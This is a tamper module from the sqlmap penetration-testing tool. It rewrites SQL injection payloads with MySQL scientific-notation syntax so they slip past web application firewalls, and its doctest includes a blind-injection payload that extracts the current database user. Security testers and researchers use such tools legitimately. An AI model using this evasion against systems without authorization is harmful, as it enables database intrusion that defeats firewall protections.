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#!/usr/bin/env python
"""
Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Abuses MySQL scientific notation
Requirement:
* MySQL
Notes:
* Reference: https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/
>>> tamper('1 AND ORD(MID((CURRENT_USER()),7,1))>1')
'1 AND ORD 1.e(MID((CURRENT_USER 1.e( 1.e) 1.e) 1.e,7 1.e,1 1.e) 1.e)>1'
"""
if payload:
payload = re.sub(r"[),.*^/|&]", r" 1.e\g<0>", payload)
payload = re.sub(r"(\w+)\(", lambda match: "%s 1.e(" % match.group(1) if not re.search(r"(?i)\A(MID|CAST|FROM|COUNT)\Z", match.group(1)) else match.group(0), payload) # NOTE: MID and CAST don't work for sure
return payload
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